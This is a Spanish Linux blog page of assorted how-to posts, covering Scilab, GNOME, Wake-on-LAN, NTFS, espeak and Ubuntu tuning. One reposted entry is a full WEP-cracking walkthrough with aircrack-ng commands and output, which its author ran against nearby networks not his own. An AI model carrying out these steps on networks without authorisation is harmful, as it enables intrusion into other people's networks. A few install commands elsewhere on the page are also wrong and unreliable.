Posted by jarvega in Aplicaciones de Linux, Manuales, Nuevo software.
Tags: Linux, matematica, MatLab, Mint, SciLab, Software, Ubuntu
Bueno, quizas por uno de mis ultimos post a alguien le quedo la idea de que me gustaban las matematicas… y tienen razón. Un amable lector me escribe con la siguiente pregunta:
“NECESITO DAR CLASES DE LABORATORIO DE MATEMÁTICAS EN COMPUTADORA EN UNA INSTITUCION NO LUCRATIVA DE SUPERACIÓN PROMOCIONANDO EL SOFTWARE LIBRE NECESITO POR FAVOR UN MATLAB PARA LINUX MINT”
Asi, que debemos ver primero algunas premisas:
1. Linux Mint es una muy interesante distribución de GNU/Linux, esto es, una variable más de nuestro amado Sistema Operativo, SO, que a su vez utiliza Ubuntu Linux para construirse. Algo asi como un clon de Ubuntu. Algo asi como un Ubuntu color negro-verde, maquillado con otros colores, gustos y aplicaciones, pero al fin de cuentas, en esencia, un SO Linux como todos.
2. Asi, la frase “un MatLab para Linux Mint” carece de sentido. Yo prefiero decir, “un software de características y potencia similares a MatLab, para instalar en un GNU/Linux cualquiera, ya sea este Ubuntu, Fedora, o en este caso, Mint“.
¿Por que soy tan severo en la definición? Un error muy común entre los novatos de Linux, es suponer que lo que corre en Open SUSE, no correra en Ubuntu ni en Mint, y eso es un error. Quizás tengamos algunas diferencias entre las distribuciones o distros, pero debemos recordar que todas usan el Kernel de Linux, y por tanto, en el fondo, tenemos la misma sangre en nuestras venas, un sistema Unix puro.
Ahora bien, MatLab es un software de licencia propietaria, es decir, no es gratuito. MATLAB es la abreviatura de MATrix LABoratory (laboratorio de matrices). Se trata de un software matemático muy versátil que ofrece un entorno de desarrollo integrado (IDE) con un lenguaje de programación propio (lenguaje M). Está disponible para las plataformas Unix, Windows y Apple Mac OS X.
Es producido por MathWorks.
El uso aplicativo es infinito, tanto como la matematica misma.
Ahora bien, vamos al asunto que nos interesa ahora: buscar una aplicación similar al MatLab. Una respuesta interesante esta en el blog de Linux Music 2.0, se llama SciLab. Por tanto, doy los creditos a Linux Music
Un Matlab para Linux es el poderoso Scilab, es muy ligero pero te da todas las funcionalidades del Matlab. Lo podéis instalar desde los repositorios de Ubuntu (Y les aseguro que trabaja bien), pero les recomiendo que descarguen directamente desde su web, y así tendrán la última versión instalada y además es muy sencillo de instalar.
Para instalarlo deberéis hacer lo siguiente:
- Ir a la Web de Scilab
- Una vez en su web verán que en su página principal está el enalce el enlace de descarga para Linux. Bajenlo.
- Una vez bajado sólo deben descomprimirlo en el directorio /opt, esto lo podéis hacer fácilmente entrando en terminal y escribiendo:
- sudo file-roller (si estáis en GNOME)
- sudo ark (si estáis en KDE)
- sudo xarchiver (si estáis en XFCE/XUBUNTU).
Se abrirá el gestor de descompresión, buscan el fichero comprimido que acaban de descargar y le indican que lo descomprima en /opt
Ahora cierran y vuelven a abrir terminal. Entonces escriben:
cd opt
cd scilab*
sudo make
Con eso ya lo tienen instalado, sólo falta que hagan un lanzador en su escritorio del ejecutable que se encuentra en /opt/scilab*.*/bin/scilab, donde los astericos son el número de la versión que hayan bajado. Le ponen el icono que más les guste y a trabajar
Si buscan ayuda en su uso pueden descargar tutoriales de AQUI
También pueden aprender a utilizarlo con cualquier tutorial o manual que tengan de Matlab.
En la ventana de comandos de Scilab, si escriben help [nombre del comando] obtendrán una ayuda totalmente detallada, por ejemplo, miren lo que pasa si escribo help plot

Pero mejor dejo que los profesores nos den una clase de SciLAb…
Posted by jarvega in Manuales.
Tags: Aplicacion, cambiar, gnome, Ubuntu
¿Cuantas veces hemos querido abrir un archivo y éste se nos abre con un programa por defecto que no es el que queremos?

En GNOME es fácil cambiar el programa asociado a un tipo de fichero, pero si no lo has hecho nunca puede ser que no encuentres la opción.
Por ejemplo, en mi máquina se abrian los archivos con extension .php con el Editor de textos del sistema, y yo tenía que andar dándole al botón derecho y “Abrir Con“. Era un coñazo.
Para asociar un programa con un tipo de archivo:
1. Ver las propiedades del archivo.
2. En la pestaña “Abrir Con”, eliges uno de los programas que aparecen o bien añadir un nuevo programa/comando a la lista y seleccionarlo.
Recuerda que si no esta el nombre de la aplicación que buscas en esa lista, no hay problema!, puedes navegar hasta la carpeta “/usr”, y buscar alli la aplicacion instalada que quieras utilizar.
Ideas de Think Ubuntu
Posted by jarvega in Manuales.
Tags: Contraseña, Linux, redes, Ubuntu, WEP, wifi
Como se que les encanta este tema, pego y copio desde Linuxman este interesante post. que les aproveche.
—————————————–
Pues aquí me tienen, una vez que encontré una antena que me funcionara y al ver que había varias redes disponibles no me pude aguantar las ganas de auditar las contraseñas WEP que encontré a mi alrededor.
Hago la aclaración de que esta es una auditoría de seguridad pero les puedo adelantar la conclusión: La configuración por defecto de los accesos inalámbricos de Infinitum es altamente insegura.
Material necesario.
- Tarjeta de red inalámbrica, en mi caso use la que siempre me ha acompañado en este blog, la multimencionada ENUWI-G2.
- Una antena, esta es opcional, pero se puede utilizar para mejorar la calidad del enlace, puede ser la EZ-12 o la del escurridor de aluminio que a mi me ha funcionado muy bien.
- Una distribución de Linux, utilicé wifiway porque fue la que mejor me reconoció mi tarjeta de red inalámbrica, pero existen otras opciones como Wifislax o Bactrack .
Los pasos a seguir.
Hago la aclaración que esta serie de pasos es para wifiway, pero supongo que se pueden aplicar a las otras distros antes mencionadas. También modifique los datos reales, para proteger la identidad de los personajes (siempre quisé escribir eso
).
Todos estos pasos se ejecutan desde una terminal (terminalofóbicos abstenganse
)
1.- Verificar si se reconoció la tarjeta de red inalámbrica.
iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
Warning: Driver for device wlan0 has been compiled with version 22
of Wireless Extension, while this program supports up to version 20.
Some things may be broken...
wlan0 802.11b/g Mode:Monitor Channel=1 Bit Rate=11 Mb/s
Tx-Power=11 dBm
Retry:on Fragment thr:off
Link Quality=84/100 Signal level=-236 dBm Noise level=-240 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Como pueden ver si la reconoció, la tarjeta es la wlan0, aunque me lanza una advertencia de que algo pude andar mal, y en efecto, la luz led de la tarjeta no prende, pero eso no evitó que funcionara para este experimento.
2.- Cambio de la mac address.
macchanger -m 00:11:22:33:44:56 wlan0
Current MAC: 00:11:22:33:44:55 (Cimsys Inc)
Faked MAC: 00:11:22:33:44:56 (Cimsys Inc)
Este paso lo realizo para no tener que acordarme de mi Mac Addres 
3.- Búsqueda de las redes inalámbricas en los alrededores.
airodump-ng wlan0
CH 13 ][ Elapsed: 2 mins ][ 2008-03-16 11:23
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:00:00:00:00:01 2 4 0 0 6 22. WEP WEP 2WIRE000
11:11:11:11:11:11 15 53 0 0 1 54. WEP WEP INFINITUM0000
00:00:00:00:00:02 5 34 0 0 6 54. OPN linksys
En estos resultados vamos a tomar nota de varios datos importantes.
Como pueden ver la red que tiene una mejor calidad de señal es la INFINITUM0000 ya que el valor de PWR myor que el de los demás.
De ahí tomamos el BSSID (11:11:11:11:11:11), el canal en que esta operando (Canal 1) y el ESSID (INFINITUM0000), elegimos esta red porque tiene a mejor calidad de enlace y un método de protección (WEP) muy pobre.
4.- Iniciar la captura.

airodump-ng -w captura -c 1 wlan0
captura es el nombre del archivo que va a recibir la información que vamos a recolectar. Noten también que -c 1 indica que vamos a trabajar en el canal 1.
Es importante que no cerremos esta ventana, de lo contrario lo siguiente que hagamos no servirà de nada. Los siguientes pasos se hacen en una nueva terminal.
5.- Asociar la red inalámbrica.
aireplay-ng -1 0 -e INFINITUM0000 -a 11:11:11:11:11:11 -h 00:11:22:33:44:56 wlan0
11:26:36 Waiting for beacon frame (BSSID: 11:11:11:11:11:11)
11:26:36 Sending Authentication Request
11:26:36 Authentication successful
11:26:36 Sending Association Request
11:26:36 Association successful
Sí aparece el mensaje de Association successful
estamos listos para continuar. Al principio batallé con este paso, si tienen algún problema es casi seguro que se trata de una mala calidad de señal, pueden estar muy lejos del punto de acceso inalámbrico.
6.- Iniciar la captura de paquetes.
aireplay-ng -3 -b 11:11:11:11:11:11 -h 00:11:22:33:44:56 wlan0
Saving ARP requests in replay_arp-0316-112829.cap
You should also start airodump-ng to capture replies.
Read 598 packets (got 214 ARP requests), sent 1172 packets...(78 pps)
En este punto hay que estar al pendientes, cuando se logren más de 100,000 ARP’s terminamos el proceso (presionando Ctrl+C). Se puede tardar de 10 minutos a media hora dependiendo de la calidad del enlace.
7.- Buscar el archivo .cap con mayor tamaño y encontrar la contraseña.

Se acuerdan que en el paso 4 establecimos el nombre del archivo como captura (de hecho puede ser cualquier nombre), bueno pues es normal que en ocasiones se guarde más de un archivo, se distinguen porque les sigue un número, el que debemos de elegir es el que tiene mayor tamaño. Que aquí fue el archivo número 2.
aircrack-ptw captura-02.cap
This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = 11:11:11:11:11:11 keyindex=0
stats for bssid 11:11:11:11:11:11 keyindex=0 packets=159646
Found key with len 05: 01 23 34 56 78
Y si todo salio bien en menos de 10 segundos obtendremos la contraseña, si en 10 segundos o menos, todo depende de la potencia de nuestro equipo.
Conclusiones.
Con eso es más que suficiente para encontrar la contraseña WEP de un enlace inalámbrico, lamentablemente este tipo de protección es el más utilizado por los Infinitum de Telmex por eso es poco recomendable dejar estos aparatos con su configuración de fabrica, lo mejor es ajustarla a otro tipo de protección como WPA, desconozco si lo 2wire lo permiten pero los linksys permiten restringir el acceso a ciertas Mac address lo que protege aún más una red inalámbrica.
Posted by jarvega in Manuales.
Los que trabajan en redes locales (LAN) algunas veces necesitan encender un PC al que no tienen acceso físico. Si queremos encender nuestro PC por red desde Ubuntu, gracias a una pequeña utilidad llamada etherwake, lo podemos conseguir.
La instalación de etherwake se puede hacer desde los repositorios:
sudo apt-get upgrade etherwake
Una vez instalado etherwake, tan solo debemos indicarle la MAC del equipo a encender y el interface de red a usar (el equipo que queremos arrancar debe tener activado el Wake On Lan en la BIOS).
Ejemplo:
sudo etherwake -i eth0 00:D3:FF:23:2E
Con esto el equipo arrancaría como por arte de magia 
Aviso que no todas las placas y BIOS permiten el Wake On Lan, si es muy viejo el PC puede que no lo soporte.
Visto en http://helektron.com/
Y ahora: ¿Se podrá hacer lo mismo, via Internet? Envienme ideas al respecto a jarvega@gmail.com
Posted by jarvega in Manuales.
Visto en adictosalinux.com

Ya conoces los Screenlets? Para quien no, les cuento que es una pequeña aplicación escrita en Python que nos permite agregar algunas funcionalidades directamente en nuestro escritorio.
Con este software podremos por ejemplo agregar un reloj, una herramienta desde la que podremos realizar búsquedas en Google, Yahoo, etc, medidor de batería, calendario entre muchas otras interesantes funciones.
Para instalar la última versión de Screenlets en nuestro Ubuntu 7.10 debemos hacer lo siguiente (es necesario tener instalado Compiz u otro gestor de ventanas similar para poder utilizarlo):
- Editamos nuestros repositorios abriendo una consola y escribiendo sudo gedit /etc/apt/sources.list
- Al final del archivo agregamos deb http://hendrik.kaju.pri.ee/ubuntu/ gutsy screenlets, guardamos y cerramos
- Y finalmente actualizamos los repositorios e instalamos la aplicación escribiendo sudo apt-get update && sudo apt-get install screenlets
Una vez realicemos estos pasos ya tendremos Screenlets instalado y listo para utilizar. Para abrir el panel de administración vamos al menú Sistema->Preferencias->Screenlets
Si quieren descargar más utilidades para Screenlets pueden visitar este sitio
Posted by jarvega in Manuales.
Observando en Linuxman, para tener control sobre particiones de Guidous:
Se puede hacer desde synaptic buscando el paquete nfts-config o desde una terminal (para mi es lo mejor, por que se hace y se aprende a la vez) tecleando:
su -
(para entrar en modo root)
apt-get install ntfs-config
Este a su vez instalará el paquete ntfs-3g necesario para tener acceso a las particiones.
Activar el soporte.

Nos vamos a Sistema - Administración - NTFS Configuration Tool y activamos el soporte.

Un ultimo paso.
Un ultimo toque, nuevamente iniciamos en modo root y editamos el archivo fstab con
gedit /etc/fstab
Si no tienen gedit, pueden usar cualquier otro editor de texto.
Y quitamos la opción noauto de las lineas que montan las particiones ntfs-3g para que queden de una forma muy similar a esta:
/dev/hda1 /mnt/winc ntfs-3g defaults,user,exec,locale=enUS.UTF-8 0 0 /dev/sda1 /mnt/wind ntfs-3g defaults,user,exec,locale=enUS.UTF-8 0 0
Posted by jarvega in Manuales.
Quieres que algun texto se convierta en Voz?
Primero instalate los siguientes paquetes, si no los tienes ya instalados:
$ sudo apt-get install alsa-oss espeak espeak-data
Ahora para reproducir un texto ejecuta:
$ aoss espeak -ves "Formateando unidad C de Windows"
$ aoss espeak -ves “Preparando instalacion de Ubuntu”
No se, de esta forma podriamos por ejemplo darle “mas vidilla” a nuestros scripts de bash
$ aoss espeak -ves "De puta madre. Ubuntu se ha instalado con exito"
$ aoss espeak -ves “Mecachis. Fallo la instalacion, intentalo otro dia chaval”
Los textos son broma, pero es solo para daros una idea.
Hay algunas opciones como:
-p que indica el pitch (0 a 99 por defecto 50)
-s que indica la velocidad de reproduccion (por defecto 170)
Ejemplo de texto leido mas rapido :
$ aoss espeak -ves -s200 "que me voy que me voy ou yea"
Para leer un archivo de texto ejecutamos:
$ aoss espeak -ves -f fichero_texto
Para grabar un archivo de audio ejecutamos:
$ aoss espeak -ves -w audio.wav "Hola no conocia la historia, ahora si, no me mola"
Que la disfruten.
Leido en UbuntuLife
Posted by jarvega in Manuales.
GPARTED es el PARTITION MAGIC de windows, o sea, que sirve para crear, borrar, copiar, mover y redimensionar particiones de forma gráfica .
OJO no permite modificar particiones sobre NTFS, habra que seguir usando el partition para esto
Aqui hallaras un inteligente manual del usuario.
(more…)
Posted by jarvega in Manuales.
Si queremos optimizar nuestro disco duro para que acelere un poco mas en sus tareas, voy a dejar 3 series de cómo mejorar la velocidad del disco duro en diferentes aspectos, claro usando Linux.
Esta la primera de las 3 series que estaré posteando sobre el tema.
(more…)
Posted by jarvega in Manuales.
Paseando por UbuntuLife me he encontrado con unos sencillos pasos que ayudan a mejorar el rendimiento de nuestra Ubuntu. Son de fácil aplicación y ayudan, sobre todo el cambio del intercambio de la SWAP si tienes bastante RAM (Tener 512Mb ya debería ser bastante)
Aqui los pasos:
1. Deshabilitar IPv6
Editar /etc/modprobe.d/aliases y sustituir la linea:
alias net-pf-10 ipv6
con
alias net-pf-10 off #ipv6
2. Permitir procesos en paralelo
Editar /etc/init.d/rc y sustituir:
CONCURRENCY=none
con
CONCURRENCY=shell
3. Aliasing al hostname para localhost
Modificar las 2 primeras lineas del fichero /etc/hosts con la secuencia:
127.0.0.1 localhost <nombre_de_tu_host>
127.0.1.1 <nombre_de_tu_host>
4. Preload
Preload es una pequeña aplicacion que se encarga de precargar en memoria las aplicaciones que mas usamos, para que la proxima vez su arranque sea mas rapido.
Lo instalamos con:
sudo apt-get install preload
5. Swappiness
Para actualizar el swap lo menos posible. Aumentara la velocidad de nuestras aplicaciones. Util si tienes bastante memoria RAM.
sudo sysctl vm.swappiness=10
Para que sea permanente.
modificamos /etc/sysctl.conf y añadimos la siguiente linea:
vm.swappiness=10
Sobre este último punto, recordar (que también lo leí en esa página pero en otro sitio) que lo mejor que puedes hacer es empezar con el valor 10, pero que debes ir probando hasta dar con el valor que más te satisface.
Gracias a UbuntuLife